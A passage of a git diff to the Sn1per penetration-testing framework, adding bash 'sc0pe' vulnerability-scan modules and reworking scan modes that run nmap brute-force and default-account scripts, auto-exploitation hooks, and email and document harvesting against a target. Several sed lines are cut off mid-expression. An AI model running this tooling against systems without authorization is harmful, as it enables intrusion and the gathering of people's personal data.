--script=http-auth-finder,http-auth,http-brute,/usr/share/nmap/scripts/vulners,http-default-accounts $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port443 sed -r "s/ /dev/null > $LOOT_DIR/output/nmap-$TARGET-port443.txt 2> /dev/null rm -f $LOOT_DIR/output/nmap-$TARGET-port443 2> /dev/null fi @@ -802,13 +811,6 @@ else echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" curl https://$TARGET 2> $LOOT_DIR/web/curldebug-$TARGET.txt > /dev/null fi - #if [[ "$METASPLOIT_EXPLOIT" == "1" ]]; then - # echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - # echo -e "$OKRED CHECKING FOR INSECURE SSL/TLS CONFIGURATIONS $RESET" - # echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - #fi - # NEED TO FINISH... - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SAVING SCREENSHOTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -823,8 +825,28 @@ else cd $LOOT_DIR python2 $INSTALL_DIR/bin/webscreenshot.py https://$TARGET:443 fi + source $INSTALL_DIR/modes/normal_webporthttps.sh + + cd $INSTALL_DIR + PORT="443" + SSL="true" + source $INSTALL_DIR/modes/web_autopwn.sh + + if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh + source $INSTALL_DIR/modes/sc0pe-active-webscan.sh + + for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do + source $file + done + fi + source $INSTALL_DIR/modes/osint_stage_2.sh + fi if [[ -z "$port_445" ]]; then @@ -1440,6 +1462,10 @@ if [[ $YASUO = "1" ]]; then fi fi +if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then + source $INSTALL_DIR/modes/sc0pe-network-scan.sh +fi + cd $INSTALL_DIR source $INSTALL_DIR/modes/fullportscan.sh source $INSTALL_DIR/modes/bruteforce.sh @@ -1465,11 +1491,11 @@ echo -e "${OKGREEN}============================================================= echo -e "$OKRED SCAN COMPLETE! $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo "$TARGET" >> $LOOT_DIR/scans/updated.txt -mv $LOOT_DIR/scans/running-$TARGET-normal.txt $LOOT_DIR/scans/finished-$TARGET-normal.txt 2> /dev/null -ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt +rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null +ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then - /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [normal] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" - echo "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [normal] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt + /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [${MODE}] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" + echo "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [${MODE}] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt fi if [[ "$LOOT" = "1" ]] && [[ -z "$NOLOOT" ]]; then loot diff --git a/modes/normal_webporthttp.sh b/modes/normal_webporthttp.sh index 0701501..0b78f02 100644 --- a/modes/normal_webporthttp.sh +++ b/modes/normal_webporthttp.sh @@ -1,6 +1,6 @@ if [[ "$MODE" = "web" ]]; then - echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-$MODE.txt 2> /dev/null - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per HTTP web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" @@ -150,18 +150,10 @@ if [[ "$MODE" = "web" ]]; then rm -f $LOOT_DIR/web/jexboss-$TARGET-port80.raw 2> /dev/null cd $INSTALL_DIR fi - - mv $LOOT_DIR/scans/running-$TARGET-$MODE.txt $LOOT_DIR/scans/finished-$TARGET-$MODE.txt 2> /dev/null - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt - + rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per HTTP web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" echo "[xerosecurity.com] •?((¯°·._.• Finished Sn1per HTTP web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt fi - - cd $INSTALL_DIR - PORT="80" - SSL="false" - source $INSTALL_DIR/modes/web_autopwn.sh - fi \ No newline at end of file diff --git a/modes/normal_webporthttps.sh b/modes/normal_webporthttps.sh index d224fa1..04a8759 100644 --- a/modes/normal_webporthttps.sh +++ b/modes/normal_webporthttps.sh @@ -1,6 +1,6 @@ if [[ "$MODE" = "web" ]]; then - echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-$MODE.txt 2> /dev/null - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per HTTPS web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" @@ -149,18 +149,10 @@ if [[ "$MODE" = "web" ]]; then rm -f $LOOT_DIR/web/jexboss-$TARGET-port443.raw 2> /dev/null cd $INSTALL_DIR fi - - mv $LOOT_DIR/scans/running-$TARGET-$MODE.txt $LOOT_DIR/scans/finished-$TARGET-$MODE.txt 2> /dev/null - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt - + rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per HTTPS web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" echo "[xerosecurity.com] •?((¯°·._.• Finished Sn1per HTTPS web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt - fi - - cd $INSTALL_DIR - PORT="443" - SSL="true" - source $INSTALL_DIR/modes/web_autopwn.sh - + fi fi \ No newline at end of file diff --git a/modes/nuke.sh b/modes/nuke.sh index 7cea809..1152d49 100644 --- a/modes/nuke.sh +++ b/modes/nuke.sh @@ -40,27 +40,19 @@ if [[ "$MODE" = "nuke" ]]; then echo -e "$OKORANGE + -- --=[WARNING! Nuking ALL target! $RESET" echo -e "$RESET" if [[ ! -z "$WORKSPACE_DIR" ]]; then - echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt - if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then - /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" - echo "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt - fi + sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 else echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt - if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then - /bin/bash "$INSTALL_DIR/bin/slack.sh" "Starting scan: $TARGET $MODE `date +"%Y-%m-%d %H:%M"`" - fi + sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 fi args="" done fi - if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then - /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" - echo "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt - fi + if [[ "$LOOT" = "1" ]]; then loot fi diff --git a/modes/osint.sh b/modes/osint.sh index e43829c..1b38e0b 100644 --- a/modes/osint.sh +++ b/modes/osint.sh @@ -37,7 +37,7 @@ if [[ "$OSINT" = "1" ]]; then fi cp -f /etc/theHarvester/api-keys.yaml ~/api-keys.yaml 2> /dev/null cd ~ 2> /dev/null - theharvester -d $TARGET -b baidu,bing,bingapi,certspotter,crtsh,dnsdumpster,dogpile,duckduckgo,google,hunter,intelx,linkedin,linkedin_links,netcraft,otx,securityTrails,spyse,threatcrowd,trello,twitter,vhost,virustotal,yahoo 2> /dev/null | tee $LOOT_DIR/osint/theharvester-$TARGET.txt 2> /dev/null + theharvester -d $TARGET -b baidu,bing,bingapi,certspotter,crtsh,dnsdumpster,dogpile,duckduckgo,google,hunter,intelx,linkedin,linkedin_links,netcraft,otx,securityTrails,spyse,threatcrowd,trello,twitter,vhost,virustotal,yahoo 2> /dev/null | tee $LOOT_DIR/osint/theharvester-$TARGET.txt 2> /dev/null cd $INSTALL_DIR 2> /dev/null if [[ "$SLACK_NOTIFICATIONS_THEHARVESTER" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/theharvester-$TARGET.txt" @@ -47,7 +47,7 @@ if [[ "$OSINT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING EMAILS FROM EMAIL-FORMAT.COM $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - curl -s https://www.email-format.com/d/$TARGET| grep @$TARGET | grep -v div | sed "s/\t//g" | sed "s/ //g" 2> /dev/null | tee $LOOT_DIR/osint/email-format-$TARGET.txt 2> /dev/null + curl -s https://www.email-format.com/d/$TARGET| grep @$TARGET | grep -v div | sed "s/\t//g" | sed "s/ //g" 2> /dev/null | tee $LOOT_DIR/osint/email-format-$TARGET.txt 2> /dev/null if [[ "$SLACK_NOTIFICATIONS_EMAIL_FORMAT" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/email-format-$TARGET.txt" @@ -67,7 +67,7 @@ if [[ "$OSINT" = "1" ]]; then echo -e "$OKRED COLLECTING OSINT FROM ONLINE DOCUMENTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" cd $INSTALL_DIR/plugins/metagoofil/ - python metagoofil.py -d $TARGET -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html 2> /dev/null | tee $LOOT_DIR/osint/metagoofil-$TARGET.txt 2> /dev/null + python metagoofil.py -d $TARGET -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html 2> /dev/null | tee $LOOT_DIR/osint/metagoofil-$TARGET.txt 2> /dev/null cd $INSTALL_DIR if [[ "$SLACK_NOTIFICATIONS_METAGOOFIL" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/metagoofil-$TARGET.txt" diff --git a/modes/recon.sh b/modes/recon.sh index 86c97ed..cbb02e7 100644 --- a/modes/recon.sh +++ b/modes/recon.sh @@ -35,8 +35,7 @@ if [[ "$RECON" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" subfinder -o $LOOT_DIR/domains/domains-$TARGET-subfinder.txt -b -d $TARGET -w $DOMAINS_DEFAULT -t 100 2>/dev/null wc -l $LOOT_DIR/domains/domains-$TARGET-subfinder.txt - fi - + fi if [[ "$DNSCAN" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED BRUTE FORCING DNS SUBDOMAINS VIA DNSCAN (THIS COULD TAKE A WHILE...) $RESET" diff --git a/modes/sc0pe-active-webscan.sh b/modes/sc0pe-active-webscan.sh new file mode 100644 index 0000000..4007d04 --- /dev/null +++ b/modes/sc0pe-active-webscan.sh @@ -0,0 +1,17 @@ + for file in `ls $INSTALL_DIR/templates/active/*.sh 2> /dev/null`; do + source $file + OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g') + #echo $file + if [[ "$SSL" == "true" ]]; then + if [[ -z "$PORT" ]]; then + PORT="443" + fi + curl --connect-timeout 3 --max-time 5 -k -X $METHOD $CURL_OPTS "https://${TARGET}:${PORT}${URI}" 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out && echo "$SEVERITY, $VULN_NAME,https://${TARGET}:${PORT}${URI},$(head -n 1 /tmp/match.out | sed -r "s/ /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(cat /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://${TARGET}:${PORT}${URI} - EVIDENCE: $(cat /tmp/match.out | sed -r "s/> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$PORT-$OUTPUT_NAME.txt" 2> /dev/null + else + if [[ -z "$PORT" ]]; then + PORT="80" + fi + curl --connect-timeout 3 --max-time 5 -k -X $METHOD $CURL_OPTS "http://${TARGET}:${PORT}${URI}" 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out && echo "$SEVERITY, $VULN_NAME,http://${TARGET}:${PORT}${URI},$(head -n 1 /tmp/match.out | sed -r "s/ /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(cat /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://${TARGET}:${PORT}${URI} - EVIDENCE: $(cat /tmp/match.out | sed -r "s/> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$PORT-$OUTPUT_NAME.txt" 2> /dev/null + fi + rm -f /tmp/match.out 2> /dev/null + done \ No newline at end of file diff --git a/modes/sc0pe-network-scan.sh b/modes/sc0pe-network-scan.sh new file mode 100644 index 0000000..7501e10 --- /dev/null +++ b/modes/sc0pe-network-scan.sh @@ -0,0 +1,18 @@ + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING SC0PE NETWORK VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + for file in `ls $INSTALL_DIR/templates/passive/network/*.sh 2> /dev/null`; do + source $file + OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g') + if [[ "$SEARCH" == "negative" ]]; then + cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out || echo "$SEVERITY, $VULN_NAME, $TARGET, $(head -n 1 /tmp/match.out | sed -r "s/ /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - $TARGET - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - $TARGET - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt" 2> /dev/null + else + cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out && echo "$SEVERITY, $VULN_NAME, $TARGET, $(head -n 1 /tmp/match.out | sed -r "s/ /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - $TARGET - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - $FILENME - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt" 2> /dev/null + fi + rm -f /tmp/match.out 2> /dev/null + done + + for file in `ls $INSTALL_DIR/templates/passive/network/recursive/*.sh 2> /dev/null`; do + source $file + done + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" \ No newline at end of file diff --git a/modes/sc0pe-passive-webscan.sh b/modes/sc0pe-passive-webscan.sh new file mode 100644 index 0000000..c786c90 --- /dev/null +++ b/modes/sc0pe-passive-webscan.sh @@ -0,0 +1,30 @@ + for file in `ls $INSTALL_DIR/templates/passive/web/*.sh 2> /dev/null`; do + source $file + OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g') + if [[ "$SEARCH" == "negative" ]]; then + if [[ "$SSL" == "true" ]]; then + if [[ -z "$PORT" ]]; then + PORT="443" + fi + cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out || echo "$SEVERITY, $VULN_NAME, https://$TARGET:$PORT/$URI, $(head -n 1 /tmp/match.out | sed -r "s/ /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: $TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: $TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null + else + if [[ -z "$PORT" ]]; then + PORT="80" + fi + cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out || echo "$SEVERITY, $VULN_NAME, http://$TARGET:$PORT/$URI, $(head -n 1 /tmp/match.out | sed -r "s/ /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null + fi + else + if [[ "$SSL" == "true" ]]; then + if [[ -z "$PORT" ]]; then + PORT="443" + fi + cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out && echo "$SEVERITY, $VULN_NAME, https://$TARGET:$PORT/$URI, $(head -n 1 /tmp/match.out | sed -r "s/ /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: $TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: $TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null + else + if [[ -z "$PORT" ]]; then + PORT="80" + fi + cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out && echo "$SEVERITY, $VULN_NAME, http://$TARGET:$PORT/$URI, $(head -n 1 /tmp/match.out | sed -r "s/ /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null + fi + fi + rm -f /tmp/match.out 2> /dev/null + done diff --git a/modes/sc0pe.sh b/modes/sc0pe.sh index d2e4747..bf93509 100644 --- a/modes/sc0pe.sh +++ b/modes/sc0pe.sh @@ -21,4 +21,9 @@ egrep -h LOW $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null egrep -h INFO $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null echo "====================================================================================" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null - \ No newline at end of file + sort -u $LOOT_DIR/vulnerabilities/sc0pe-*.txt > $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null + egrep "CRITICAL" $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null | wc -l > $LOOT_DIR/vulnerabilities/critical_vulns_total.txt + egrep "HIGH" $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null | wc -l > $LOOT_DIR/vulnerabilities/high_vulns_total.txt + egrep "MEDIUM" $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null | wc -l > $LOOT_DIR/vulnerabilities/medium_vulns_total.txt + egrep "LOW" $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null | wc -l > $LOOT_DIR/vulnerabilities/low_vulns_total.txt + egrep "INFO" $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null | wc -l > $LOOT_DIR/vulnerabilities/info_vulns_total.txt \ No newline at end of file diff --git a/modes/stealth.sh b/modes/stealth.sh index 1836594..c7f0221 100644 --- a/modes/stealth.sh +++ b/modes/stealth.sh @@ -29,10 +29,7 @@ if [[ "$MODE" = "stealth" ]]; then fi args="$args --noreport -m stealth" echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null - echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt - echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-stealth.txt - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt - + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" echo "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt @@ -81,6 +78,8 @@ if [[ "$MODE" = "stealth" ]]; then echo -e "$OKORANGE + -- --=[ Launching stealth scan: $TARGET $RESET" echo -e "$OKGREEN $RESET" echo "$TARGET" >> $LOOT_DIR/domains/targets.txt + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_stealth.txt + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt if [[ "$WHOIS" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING WHOIS INFO $RESET" @@ -278,6 +277,8 @@ if [[ "$MODE" = "stealth" ]]; then diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt" + echo "[xerosecurity.com] 